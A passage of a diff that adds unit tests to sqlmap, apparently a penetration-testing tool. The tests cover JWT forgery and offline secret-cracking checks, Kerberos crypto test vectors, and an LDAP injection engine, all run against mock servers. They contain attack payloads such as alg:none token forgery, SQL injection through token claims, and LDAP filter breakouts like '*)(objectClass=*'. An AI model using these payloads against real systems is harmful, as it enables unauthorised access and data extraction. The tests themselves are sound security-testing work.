("claim", "kid") and reflected.count("'") % 2 == 1: + return self._wrap(self.SQLERR) # unbalanced quote -> string-context SQL error + if self.sink[0] == "numclaim": + if "'" in reflected: + return self._wrap(self.SQLERR) # quote in a numeric concat -> error + m = re.match(r"^\d+ AND (\d+)=(\d+)$", reflected) + if m: + return self._wrap(self.OK if m.group(1) == m.group(2) else self.NOROW) # AND n=n true, n=n+1 false + + alg = (data["header"].get("alg") or "").lower() + if alg == "none": + return self._wrap(self.OK if self.acceptNone else self.DENY) + if not self.verifySig: + return self._wrap(self.OK) + if self.secret and forgeJWT(data["header"], data["payload"], key=self.secret) == token: + return self._wrap(self.OK) + return self._wrap(self.DENY) + + +class JWTEngineTest(unittest.TestCase): + def setUp(self): + self._origGetPage = inject.Request.getPage + self._origParams = conf.parameters + self._origSecrets = inject._wordlistSecrets + conf.skipUrlEncode = False + conf.delay = 0 + conf.beep = False + # keep the offline crack fast: the full 6 MB wordlist sweep is exercised by the utils tests; here + # only the small common set is needed (a crackable token uses 'secret', which is in it) + from lib.core.settings import JWT_COMMON_SECRETS + inject._wordlistSecrets = lambda: iter(JWT_COMMON_SECRETS) + + def tearDown(self): + inject.Request.getPage = self._origGetPage + conf.parameters = self._origParams + inject._wordlistSecrets = self._origSecrets + inject._TOKEN = inject._PLACE = inject._HEADER = inject._HEADER_VALUE = None + + def _wire(self, token, server): + conf.parameters = {PLACE.GET: "auth=%s" % token} + + def fakeGetPage(**kwargs): + raw = kwargs.get("get") or kwargs.get("post") or kwargs.get("cookie") or "" + if kwargs.get("auxHeaders"): + raw = list(kwargs["auxHeaders"].values())[0] + found = findJWTs(raw) + return (server.respond(found[0] if found else raw), None, 200) + + inject.Request.getPage = staticmethod(fakeGetPage) + + def _run(self, token, server): + self._wire(token, server) + return dict((_[0], _) for _ in inject.jwtScan()) + + def test_oracle_confirms_alg_none(self): + # the server knows its real secret (so the original token is the authenticated baseline) but that + # secret is not in sqlmap's crack list; its flaw is accepting an unsigned alg:none forgery + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list") + findings = self._run(token, _MockServer(secret="topsecret-not-in-list", acceptNone=True)) + self.assertIn("alg-none-accepted", findings) + self.assertEqual(findings["alg-none-accepted"][1], "critical") + + def test_oracle_confirms_signature_not_verified(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list") + findings = self._run(token, _MockServer(verifySig=False)) + self.assertIn("signature-not-verified", findings) + + def test_strict_server_yields_no_forgery(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="topsecret-not-in-list") + findings = self._run(token, _MockServer(secret="topsecret-not-in-list")) + self.assertNotIn("alg-none-accepted", findings) + self.assertNotIn("signature-not-verified", findings) + + def test_weak_secret_cracked_offline(self): + token = forgeJWT({"alg": "HS256"}, {"user": "admin", "exp": 9999999999}, key="secret") + findings = self._run(token, _MockServer(secret="secret")) + self.assertIn("weak-hmac-secret", findings) + + def test_kid_sql_injection(self): + token = forgeJWT({"alg": "none", "kid": "key1"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, sink=("kid",))) + self.assertIn("kid-injection-confirmed", findings) + self.assertEqual(findings["kid-injection-confirmed"][1], "critical") + + def test_claim_sql_injection_via_alg_none(self): + token = forgeJWT({"alg": "none"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, sink=("claim", "user"))) + self.assertIn("claim-injection-confirmed", findings) + + def test_numeric_claim_sql_injection(self): + # M4: a numeric claim (id) string-interpolated into SQL - detected in an unquoted 'AND n=n' context + token = forgeJWT({"alg": "none"}, {"user": "admin", "id": 5, "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, sink=("numclaim", "id"))) + self.assertIn("claim-injection-confirmed", findings) + + def test_error_based_no_fp_when_baseline_has_sql_error(self): + # H2: a page that ALWAYS contains SQL-error text must NOT be reported as an injection + token = forgeJWT({"alg": "none", "kid": "k"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, alwaysError=True)) + self.assertNotIn("kid-injection-confirmed", findings) + self.assertNotIn("claim-injection-confirmed", findings) + + def test_boolean_no_fp_on_dynamic_page(self): + # H3: a response that changes every hit must not yield a boolean SQL-injection verdict + token = forgeJWT({"alg": "none", "kid": "k"}, {"user": "admin", "exp": 9999999999}) + findings = self._run(token, _MockServer(acceptNone=True, dynamic=True)) + self.assertNotIn("kid-injection-confirmed", findings) + self.assertNotIn("claim-injection-confirmed", findings) + + def test_no_token_is_graceful(self): + conf.parameters = {PLACE.GET: "q=hello"} + inject.Request.getPage = staticmethod(lambda **kwargs: ("x", None, 200)) + self.assertEqual(inject.jwtScan(), None) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_kerberos.py b/tests/test_kerberos.py new file mode 100644 index 00000000000..86971695e8f --- /dev/null +++ b/tests/test_kerberos.py @@ -0,0 +1,324 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for the dependency-free Kerberos stack under extra/kerberos: the AES core (FIPS-197), the +RFC 3961/3962 etype crypto (n-fold, string-to-key, authenticated encryption) and the ASN.1 DER codec. +All assertions use published FIPS/RFC test vectors, so they validate the crypto and encoding offline +(the AS/TGS protocol and the HTTP Negotiate handler are exercised against a live KDC, not here). +""" + +import binascii +import os +import struct +import sys +import tempfile +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from extra.kerberos import client +from extra.kerberos import der +from extra.kerberos import discovery +from extra.kerberos.aes import AES +from extra.kerberos.crypto import ENCTYPES, nfold +from lib.request.kerberos import _expiring + + +def _dnsName(name): + out = bytearray() + for label in name.split("."): + out.append(len(label)) + out += label.encode("ascii") + out.append(0) + return bytes(out) + + +def _h(value): + return binascii.unhexlify(value) + + +def _etypeInfo2Entry(etype, salt=None, iterations=None): + parts = [der.tagged(0, der.integer(etype))] + if salt is not None: + parts.append(der.tagged(1, der.generalString(salt))) + if iterations is not None: + parts.append(der.tagged(2, der.octetString(struct.pack(">I", iterations)))) + return der.sequence(*parts) + + +def _preauthError(entries): + """The error-field map a KDC_ERR_PREAUTH_REQUIRED reply advertising 'entries' would produce.""" + + paData = der.sequence( + der.tagged(1, der.integer(19)), # PA-ETYPE-INFO2 + der.tagged(2, der.octetString(der.sequenceOf(entries))), + ) + return {12: der.octetString(der.sequenceOf([paData]))} + + +def _selectEtype(offered, hints): + """getTGT's etype choice: the client's own preference order, restricted to what it offered.""" + + return next((_ for _ in offered if _ in hints and _ in ENCTYPES), None) + + +class TestKerberosAES(unittest.TestCase): + def test_fips197_known_answer(self): + # FIPS-197 Appendix C.1 (AES-128) and C.3 (AES-256) + for key, pt, ct in ( + ("000102030405060708090a0b0c0d0e0f", + "00112233445566778899aabbccddeeff", "69c4e0d86a7b0430d8cdb78070b4c55a"), + ("000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f", + "00112233445566778899aabbccddeeff", "8ea2b7ca516745bfeafc49904b496089"), + ): + aes = AES(_h(key)) + self.assertEqual(aes.encryptBlock(_h(pt)), _h(ct)) + self.assertEqual(aes.decryptBlock(_h(ct)), _h(pt)) + + def test_cbc_round_trip(self): + aes = AES(_h("00" * 32)) + iv, data = _h("0f" * 16), os.urandom(64) + self.assertEqual(aes.cbcDecrypt(iv, aes.cbcEncrypt(iv, data)), data) + + +class TestKerberosCrypto(unittest.TestCase): + def test_nfold_rfc3961(self): + # RFC 3961 Appendix A.1 + for text, size, expected in ( + ("012345", 8, "be072631276b1955"), + ("password", 7, "78a07b6caf85fa"), + ("Rough Consensus, and Running Code", 8, "bb6ed30870b7f0e0"), + ("password", 21, "59e4a8ca7c0385c3c37b3f6d2000247cb6e6bd5b3e"), + ("MASSACHVSETTS INSTITVTE OF TECHNOLOGY", 24, + "db3b0d8f0b061e603282b308a50841229ad798fab9540c1b"), + ): + self.assertEqual(binascii.hexlify(nfold(text.encode(), size)).decode(), expected) + + def test_string2key_rfc3962(self): + # RFC 3962 Appendix B (pass 'password', salt 'ATHENA.MIT.EDUraeburn') + for iterations, keysize, expected in ( + (1, 16, "42263c6e89f4fc28b8df68ee09799f15"), + (1, 32, "fe697b52bc0d3ce14432ba036a92e65bbb52280990a2fa27883998d72af30161"), + (1200, 16, "4c01cd46d632d01e6dbe230a01ed642a"), + (1200, 32, "55a6ac740ad17b4846941051e1e8b0a7548d93b0ab30a8bc3ff16280382b8c2a"), + ): + key = ENCTYPES[17 if keysize == 16 else 18].string2key("password", "ATHENA.MIT.EDUraeburn", iterations) + self.assertEqual(binascii.hexlify(key).decode(), expected) + + def test_encrypt_decrypt_round_trip(self): + for etype in (17, 18): + enc = ENCTYPES[etype] + key = os.urandom(enc.keysize) + for length in (0, 1, 15, 16, 17, 31, 32, 100): + plaintext = os.urandom(length) + self.assertEqual(enc.decrypt(key, 1024, enc.encrypt(key, 1024, plaintext)), plaintext) + + def test_integrity_check(self): + enc = ENCTYPES[18] + key = os.urandom(32) + ciphertext = bytearray(enc.encrypt(key, 3, b"secret")) + ciphertext[-1] ^= 1 + self.assertRaises(ValueError, enc.decrypt, key, 3, bytes(ciphertext)) + + def test_decrypt_short_ciphertext(self): + # a hostile/truncated enc-part (< blocksize + macsize) must raise ValueError, not IndexError + enc = ENCTYPES[18] + key = os.urandom(32) + for length in (0, 1, 12, 27): + self.assertRaises(ValueError, enc.decrypt, key, 3, os.urandom(length)) + + def test_string2key_bytes_salt(self): + # the salt is opaque octets (RFC 3961): a bytes salt must derive the same key as the str form + enc = ENCTYPES[18] + self.assertEqual(enc.string2key("password", b"ATHENA.MIT.EDUraeburn", 1200), + enc.string2key("password", "ATHENA.MIT.EDUraeburn", 1200)) + + +class TestKerberosRC4(unittest.TestCase): + def test_nt_hash_string2key(self): + # rc4-hmac long-term key is the NT hash: MD4(UTF-16LE(password)) + self.assertEqual(binascii.hexlify(ENCTYPES[23].string2key("password")).decode(), + "8846f7eaee8fb117ad06bdd830b7586c") + + def test_encrypt_decrypt_round_trip(self): + enc = ENCTYPES[23] + key = enc.string2key("Secret123") + for length in (0, 1, 16, 100): + plaintext = os.urandom(length) + self.assertEqual(enc.decrypt(key, 1024, enc.encrypt(key, 1024, plaintext)), plaintext) + + def test_integrity_check(self): + enc = ENCTYPES[23] + key = enc.string2key("x") + ciphertext = bytearray(enc.encrypt(key, 3, b"secret")) + ciphertext[-1] ^= 1 + self.assertRaises(ValueError, enc.decrypt, key, 3, bytes(ciphertext)) + + +class TestKerberosDER(unittest.TestCase): + def test_integer_canonical(self): + for value, expected in ((0, "020100"), (127, "02017f"), (128, "02020080"), + (256, "02020100"), (-1, "0201ff"), (-129, "0202ff7f")): + self.assertEqual(binascii.hexlify(der.integer(value)).decode(), expected) + self.assertEqual(der.decodeInteger(der.peel(der.integer(value))[1]), value) + + def test_application_tags(self): + self.assertEqual(bytearray(der.application(10, der.sequence()))[0], 0x6a) # AS-REQ + self.assertEqual(bytearray(der.application(14, der.sequence()))[0], 0x6e) # AP-REQ + self.assertEqual(bytearray(der.tagged(0, der.integer(1)))[0], 0xa0) # [0] EXPLICIT + + def test_nested_round_trip(self): + pname = der.sequence( + der.tagged(0, der.integer(1)), + der.tagged(1, der.sequenceOf([der.generalString("HTTP"), der.generalString("web.example.com")])), + ) + _, content, _ = der.peel(pname) + fields = dict(der.children(content)) + components = [der.decodeGeneralString(c) for _, c in der.children(der.peel(fields[0xa1])[1])] + self.assertEqual(der.decodeInteger(der.peel(fields[0xa0])[1]), 1) + self.assertEqual(components, ["HTTP", "web.example.com"]) + + +class TestKerberosClient(unittest.TestCase): + def test_malformed_reply_raises_kerberoserror(self): + # a hostile/truncated KDC reply must surface as KerberosError, never a raw parse exception + key, nonce = os.urandom(32), 0x11223344 + for blob in (b"", b"\x7e\x01", b"\x6b\x02\x30\x00", os.urandom(40)): + self.assertRaises(client.KerberosError, client._parseRep, blob, key, 3, nonce, client.AS_REP) + self.assertRaises(client.KerberosError, client._replyEtype, blob) + + def test_etype_info2_best_effort(self): + # a malformed PA-ETYPE-INFO2 must yield no advertised info (fall back to defaults), not crash + self.assertEqual(client._preauthHints({12: der.octetString(b"\xff\xff\xff")}), {}) + self.assertEqual(client._preauthHints({}), {}) + self.assertEqual(client._etypeHints(der.octetString(b"\xff\xff\xff")), {}) + + def test_etype_info2_hints(self): + hints = client._preauthHints(_preauthError([_etypeInfo2Entry(18, "SALT", 4096), + _etypeInfo2Entry(23)])) + self.assertEqual(hints, {18: (b"SALT", 4096), 23: (None, None)}) + + def test_iteration_count_policy(self): + # the hint is unauthenticated: a count that would cheapen an offline attack or stall the scan + # for hours must be refused, and 0 (nominally 2**32) is not silently taken as the default + self.assertIsNone(client._validatedIterations(None)) + self.assertEqual(client._validatedIterations(4096), 4096) + for bogus in (0, 1, 1000, client.MAX_PBKDF2_ITERATIONS + 1, 0xFFFFFFFF): + self.assertRaises(client.KerberosError, client._validatedIterations, bogus) + + def test_hint_cannot_override_pinned_salt(self): + hints = {18: (b"KDCSALT", 4096)} + self.assertEqual(client._hintFor(hints, 18, "PINNED", "PINNED"), ("PINNED", 4096)) + self.assertEqual(client._hintFor(hints, 18, None, "DEFAULT"), (b"KDCSALT", 4096)) + self.assertEqual(client._hintFor(hints, 17, None, "DEFAULT"), ("DEFAULT", None)) + + def test_etype_selection_honours_client_preference(self): + # a spoofed hint must not be able to pull the client onto an etype it never offered, and the + # client's own preference order wins over the KDC's + hints = client._preauthHints(_preauthError([_etypeInfo2Entry(23), _etypeInfo2Entry(18)])) + self.assertEqual(_selectEtype((18, 17), hints), 18) # KDC listed rc4 first + self.assertEqual(_selectEtype((17, 18), hints), 18) # only 18 is hinted + self.assertIsNone(_selectEtype((18, 17), client._preauthHints(_preauthError([_etypeInfo2Entry(23)])))) + + def test_authenticator_timestamps_are_unique(self): + # an acceptor's replay cache keys on (ctime, cusec), and a threaded scan mints one per request + stamps = [client._timestamp() for _ in range(2000)] + self.assertEqual(len(set(stamps)), len(stamps)) + self.assertTrue(all(0 <= cusec <= 999999 for _, cusec in stamps)) + + def test_authenticator_carries_seq_number(self): + # RFC 4121 expects a sequence number in the GSS mechanism's initial AP-REQ authenticator + fields = client._fields(der.peel(der.peel( + client._authenticator("EXAMPLE.COM", ["user"], seqNumber=0x11223344))[1])[1]) + self.assertEqual(client._expInteger(fields[7]), 0x11223344) + self.assertNotIn(7, client._fields(der.peel(der.peel( + client._authenticator("EXAMPLE.COM", ["user"]))[1])[1])) + + def test_kerberos_time_round_trip(self): + self.assertEqual(client._expTime(der.generalizedTime("19700101000010Z")), 10) + self.assertIsNone(client._expTime(der.generalizedTime("not-a-time"))) + + +class TestKerberosTicketCache(unittest.TestCase): + def test_expiring(self): + now = time.time() + self.assertFalse(_expiring(None)) + self.assertFalse(_expiring({"endtime": None})) # a KDC that sent no parsable endtime + self.assertFalse(_expiring({"endtime": now + 36000})) + self.assertTrue(_expiring({"endtime": now - 1})) # already expired + self.assertTrue(_expiring({"endtime": now + 60})) # inside the refresh skew + + +class TestKerberosDiscovery(unittest.TestCase): + def test_krb5conf(self): + content = ("[realms]\n" + " EXAMPLE.COM = {\n kdc = dc1.example.com:88\n admin_server = dc1.example.com\n }\n" + " OTHER.COM = { kdc = other-dc }\n" + # a nested '{ }' block ahead of 'kdc =' must not truncate the realm section + " NESTED.COM = {\n auth_to_local_names = {\n joe = joe\n }\n kdc = dc.nested.com\n }\n") + handle, path = tempfile.mkstemp() + os.write(handle, content.encode("utf-8")) + os.close(handle) + saved = os.environ.get("KRB5_CONFIG") + os.environ["KRB5_CONFIG"] = path + try: + self.assertEqual(discovery._fromKrb5Conf("EXAMPLE.COM"), "dc1.example.com:88") + self.assertEqual(discovery._fromKrb5Conf("OTHER.COM"), "other-dc") + self.assertEqual(discovery._fromKrb5Conf("NESTED.COM"), "dc.nested.com") + self.assertIsNone(discovery._fromKrb5Conf("MISSING.COM")) + finally: + os.remove(path) + os.environ.pop("KRB5_CONFIG", None) if saved is None else os.environ.__setitem__("KRB5_CONFIG", saved) + + def test_split_host_port(self): + self.assertEqual(discovery._splitHostPort("dc.example.com"), ("dc.example.com", 88)) + self.assertEqual(discovery._splitHostPort("dc.example.com:1088"), ("dc.example.com", 1088)) + self.assertEqual(discovery._splitHostPort("[2001:db8::1]:1088"), ("2001:db8::1", 1088)) + self.assertEqual(discovery._splitHostPort("[2001:db8::1]"), ("2001:db8::1", 88)) + self.assertEqual(discovery._splitHostPort("2001:db8::1"), ("2001:db8::1", 88)) + + def test_srv_parse(self): + header = struct.pack(">HHHHHH", 0x2a2a, 0x8180, 1, 1, 0, 0) + question = _dnsName("_kerberos._tcp.EXAMPLE.COM") + struct.pack(">HH", 33, 1) + rdata = struct.pack(">HHH", 0, 100, 88) + _dnsName("dc.example.com") + answer = b"\xc0\x0c" + struct.pack(">HHIH", 33, 1, 300, len(rdata)) + rdata # name = ptr to question + self.assertEqual(discovery.parseSrv(header + question + answer), [(0, 100, 88, "dc.example.com")]) + + def test_srv_parse_hostile_input(self): + # a compression-pointer cycle (name at offset 12 points to itself) must not hang or crash + cycle = struct.pack(">HHHHHH", 1, 0x8180, 0, 1, 0, 0) + b"\xc0\x0c" + self.assertEqual(discovery.parseSrv(cycle), []) + self.assertEqual(discovery.parseSrv(b""), []) + self.assertEqual(discovery.parseSrv(b"\x00\x00\x81\x80\x00\x00\x00\x05\xff\xff"), []) + + def test_precedence_env_overrides(self): + saved = os.environ.get("SQLMAP_KERBEROS_KDC") + os.environ["SQLMAP_KERBEROS_KDC"] = "10.0.0.1:8888" + try: + self.assertEqual(discovery.discoverKdc("EXAMPLE.COM"), ("10.0.0.1", 8888)) + finally: + os.environ.pop("SQLMAP_KERBEROS_KDC", None) if saved is None else os.environ.__setitem__("SQLMAP_KERBEROS_KDC", saved) + + def test_fallback_to_realm(self): + savedEnv = os.environ.pop("SQLMAP_KERBEROS_KDC", None) + savedCfg = os.environ.get("KRB5_CONFIG") + os.environ["KRB5_CONFIG"] = "/nonexistent/sqlmap-krb5.conf" + savedDns = discovery._fromDnsSrv + discovery._fromDnsSrv = lambda realm: None # avoid real DNS I/O in the test + try: + self.assertEqual(discovery.discoverKdc("CORP.EXAMPLE"), ("corp.example", 88)) + finally: + discovery._fromDnsSrv = savedDns + if savedEnv is not None: + os.environ["SQLMAP_KERBEROS_KDC"] = savedEnv + os.environ.pop("KRB5_CONFIG", None) if savedCfg is None else os.environ.__setitem__("KRB5_CONFIG", savedCfg) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_ldap.py b/tests/test_ldap.py new file mode 100644 index 00000000000..890bebe445c --- /dev/null +++ b/tests/test_ldap.py @@ -0,0 +1,516 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the LDAP injection engine. Mock oracles stand in for the +HTTP/LDAP layer so detection, fingerprinting, blind inference, and output formatting can +be exercised without a live target. +""" + +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.ldap.inject as ldap + +# several setUps here write these conf keys without restoring them; snapshot/restore at the module +# boundary so they can't leak into later test modules (order-dependent flakiness) +_LDAP_CONF_KEYS = ("parameters", "paramDict", "skipUrlEncode", "cookieDel") +_saved_conf = {} + +def setUpModule(): + from lib.core.data import conf + for k in _LDAP_CONF_KEYS: + _saved_conf[k] = conf.get(k) + +def tearDownModule(): + from lib.core.data import conf + for k, v in _saved_conf.items(): + conf[k] = v + +# --- Helpers ---------------------------------------------------------------- + +SENTINEL = ldap.SENTINEL + + +def _mockOracle(value): + """Build a mock extract oracle that knows the full target value. Probes + use _ProbeBuilder.prefix() which encodes via _ldapLiteral and + _transportEncode; reverse both so the plain prefix can be compared.""" + class Oracle(object): + def extract(self, probe): + # Decode %xx transport escapes (done by _transportEncode). + # Order matters: %25 (literal '%') must be decoded before other + # %xx sequences whose '%' came from the *encoding* pass. + def _transportDecode(s): + s = s.replace("%25", "\x00") # placeholder for literal % + s = s.replace("%23", "#") + s = s.replace("%26", "&") + s = s.replace("%2B", "+") + s = s.replace("%3D", "=") + s = s.replace("%20", " ") + s = s.replace("\x00", "%") # restore literal % + return s + + # Decode LDAP \xx hex escapes (done by _ldapLiteral). + def _ldapDecode(s): + return re.sub(r"\\([0-9a-fA-F]{2})", + lambda m: chr(int(m.group(1), 16)), s) + + # Probe format: SENTINEL)(attr=_ldapLiteral(prefix_char)* + idx = probe.rfind(")(") + if idx < 0: + return False + rest = probe[idx + 2:] # after )( + if "=" not in rest or not rest.endswith("*"): + return False + inner = rest[:-1] # strip trailing * + attr, val = inner.split("=", 1) + prefix = _transportDecode(_ldapDecode(val)) + return value.startswith(prefix) + return Oracle() + + +import re + + +# --- Tests ------------------------------------------------------------------ + +class TestHelpers(unittest.TestCase): + def test_ratio_identical(self): + self.assertGreater(ldap._ratio("abc", "abc"), 0.9) + + def test_ratio_different(self): + self.assertLess(ldap._ratio("abc", "xyz"), 0.5) + + def test_ratio_none(self): + self.assertEqual(ldap._ratio(None, "abc"), 0.0) + self.assertEqual(ldap._ratio("abc", None), 0.0) + + def test_delim_get(self): + from lib.core.enums import PLACE + self.assertEqual(ldap._delim(PLACE.GET), '&') + + def test_delim_cookie_default(self): + from lib.core.enums import PLACE + self.assertEqual(ldap._delim(PLACE.COOKIE), ';') + + def test_originalValue(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=test&x=123'} + conf.paramDict = {PLACE.GET: {'q': 'test', 'x': '123'}} + self.assertEqual(ldap._originalValue(PLACE.GET, 'q'), 'test') + self.assertEqual(ldap._originalValue(PLACE.GET, 'x'), '123') + + def test_replaceSegment(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=old&x=123'} + conf.paramDict = {PLACE.GET: {'q': 'old', 'x': '123'}} + result = ldap._replaceSegment(PLACE.GET, 'q', 'new') + self.assertIn('q=new', result) + self.assertIn('x=123', result) + + +class TestFingerprinting(unittest.TestCase): + # The mapping branches recognise a distinctive vendor substring *anywhere* inside + # a realistic error banner and normalise it to a canonical backend name. Feeding + # an embedded substring (not the bare canonical name) proves the source performs + # real substring discrimination rather than echoing its input. + def test_fingerprintByError_ad(self): + self.assertEqual( + ldap._fingerprintByError("LDAP error from Microsoft Active Directory server"), + "Microsoft Active Directory") + + def test_fingerprintByError_openldap(self): + self.assertEqual(ldap._fingerprintByError("OpenLDAP 2.4.57 SERVER_DOWN"), + "OpenLDAP") + + def test_fingerprintByError_apacheds(self): + self.assertEqual(ldap._fingerprintByError("org.apache.directory.ApacheDS 2.0"), + "ApacheDS") + + def test_fingerprintByError_oracle(self): + self.assertEqual(ldap._fingerprintByError("Oracle Internet Directory / Oracle stack"), + "Oracle Directory Server") + + def test_fingerprintByError_389(self): + self.assertEqual(ldap._fingerprintByError("Red Hat 389 ns-slapd"), + "389 Directory Server") + + def test_fingerprintByError_precedence_ad_over_oracle(self): + # A banner carrying two recognised substrings resolves to the earlier branch + # (Active Directory), proving the result is driven by branch order, not by an + # echo of whichever name happens to appear. + self.assertEqual( + ldap._fingerprintByError("Microsoft Active Directory bridged to Oracle"), + "Microsoft Active Directory") + + def test_fingerprintByError_none_and_empty(self): + # The only real branch reachable by non-mapping banners: the falsy guard. + self.assertIsNone(ldap._fingerprintByError(None)) + self.assertIsNone(ldap._fingerprintByError("")) + + def test_fingerprintByError_passthrough_when_unmatched(self): + # Banners that match no vendor branch (including the "python-ldap"/"Java JNDI" + # case, whose source branch is observationally identical to the catch-all) are + # returned verbatim. This single test documents that pass-through contract and, + # crucially, asserts such banners are NOT misclassified into a specific backend. + for banner in ("Generic LDAP", "python-ldap 3.4.0", "Caused by: Java JNDI", + "some unrecognised directory service"): + result = ldap._fingerprintByError(banner) + self.assertEqual(result, banner) + self.assertNotIn(result, ("Microsoft Active Directory", "OpenLDAP", + "ApacheDS", "Oracle Directory Server", + "389 Directory Server")) + + +class TestGrid(unittest.TestCase): + def test_grid_simple(self): + cols = ["attr", "value"] + rows = [("uid", "admin"), ("cn", "Admin User")] + output = ldap._grid(cols, rows) + self.assertIn("attr", output) + self.assertIn("uid", output) + self.assertIn("admin", output) + self.assertIn("cn", output) + self.assertIn("Admin User", output) + + def test_grid_empty(self): + output = ldap._grid(["a"], []) + self.assertIn("a", output) + + def test_grid_single_row(self): + cols = ["col"] + rows = [("val",)] + output = ldap._grid(cols, rows) + self.assertIn("col", output) + self.assertIn("val", output) + + +class TestErrorDetection(unittest.TestCase): + def setUp(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=x'} + conf.paramDict = {PLACE.GET: {'q': 'x'}} + conf.skipUrlEncode = False + conf.cookieDel = ';' + + self._originalSend = ldap._send + + def tearDown(self): + ldap._send = self._originalSend + + def test_detectError_openldap(self): + ldap._send = lambda p, pm, v: ( + "Bad search filter (-7)" if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "OpenLDAP") + + def test_detectError_ad(self): + ldap._send = lambda p, pm, v: ( + "LDAP: error code 49 - 80090308: LdapErr: DSID-0C090308, " + "comment: AcceptSecurityContext error, data 525" if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "Microsoft Active Directory") + + def test_detectError_apacheds(self): + ldap._send = lambda p, pm, v: ( + "javax.naming.directory.InvalidSearchFilterException: Unbalanced parenthesis" + if ")" in (v or "") else "OK" + ) + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertEqual(backend, "ApacheDS") + + def test_detectError_notInjected(self): + ldap._send = lambda p, pm, v: "OK" + from lib.core.enums import PLACE + backend, _ = ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertIsNone(backend) + + def test_detectError_uses_ldap_metacharacter(self): + """Blockers 1: error detection must use LDAP filter metacharacter, + not an apostrophe (which is not an LDAP special char).""" + # Verify the probe appends ')' (unbalanced paren), not "'" (SQL quote) + calls = [] + ldap._send = lambda p, pm, v: calls.append(v) or "OK" + from lib.core.enums import PLACE + ldap._probeBackendByParserError(PLACE.GET, 'q') + self.assertTrue(any(v.endswith(')') for v in calls)) + self.assertFalse(any("'" in v for v in calls if len(v) > 2)) + + +class TestBooleanDetection(unittest.TestCase): + def setUp(self): + from lib.core.enums import PLACE + from lib.core.data import conf + conf.parameters = {PLACE.GET: 'q=x'} + conf.paramDict = {PLACE.GET: {'q': 'x'}} + conf.skipUrlEncode = False + conf.cookieDel = ';' + + self._originalSend = ldap._send + + def tearDown(self): + ldap._send = self._originalSend + + def test_boolean_divergence(self): + """True payload returns different content than false payload. + The engine tries multiple breakout prefixes; the first '*')' with + '(objectClass=*)' tautology should succeed.""" + def fakeSend(place, param, value): + # First breakout '*)' with (objectClass=*) succeeds + if value.startswith("x*)(objectClass=*"): + return '{"count":15}' + return '{"count":0}' + + ldap._send = fakeSend + from lib.core.enums import PLACE + template, bypass, breakout = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertEqual(breakout, "*)") + self.assertIn("*)(objectClass=*", bypass) + + def test_ldap_breakout_uses_matched_false_filter(self): + # the false control must share the true control's breakout+attribute+open-fragment shape, + # differing ONLY in the assertion value: (attr=*) vs (attr=). It must NEVER be a + # bare original+SENTINEL string (an unmatched control a validation layer could diverge on). + sent = [] + + def spy(place, param, value): + sent.append(value) + return '{"count":15}' if value.startswith("x*)(objectClass=*") else '{"count":0}' + + ldap._send = spy + from lib.core.enums import PLACE + template, _, _ = ldap._detectBoolean(PLACE.GET, 'q') + self.assertIsNotNone(template) + self.assertTrue(any(v.endswith("=%s" % SENTINEL) and "(" in v for v in sent), + "no syntax-matched false LDAP filter control was sent: %r" % sent[:8]) + self.assertNotIn("x%s" % SENTINEL, sent) # the discredited bare original+SENTINEL is gone + + def test_ldap_403_is_inconclusive(self): + # a 403 (WAF / rate-limit) must NOT enter the oracle as a page - _send returns None + from lib.request.connect import Connect + from lib.core.enums import PLACE + orig = Connect.getPage + Connect.getPage = staticmethod(lambda **kw: ("blocked by WAF", {}, 403)) + try: + self.assertIsNone(ldap._send(PLACE.GET, 'q', 'x')) + finally: + Connect.getPage = orig + + +class TestExtraction(unittest.TestCase): + def test_inferAttribute_simple(self): + """Blind-extract a value with a controlled oracle.""" + oracle = _mockOracle("admin") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertEqual(value, "admin") + + def test_inferAttribute_empty(self): + """No probes match.""" + oracle = _mockOracle("") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertIsNone(value) + + def test_inferAttribute_partial(self): + """Probe matches a single char only.""" + oracle = _mockOracle("a") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "uid") + self.assertEqual(value, "a") + + def test_inferAttribute_email(self): + """Extract value with special characters.""" + oracle = _mockOracle("admin@example.com") + builder = ldap._ProbeBuilder(")") + value = ldap._inferAttribute(oracle, builder, "mail") + self.assertEqual(value, "admin@example.com") + + def test_inferAttribute_inconclusive_aborts_not_truncates(self): + """An oracle that stays INCONCLUSIVE must abort the attribute (return None) rather than + truncate it to whatever prefix was recovered before the ambiguous bit.""" + from lib.utils.nonsql import InconclusiveError + + class 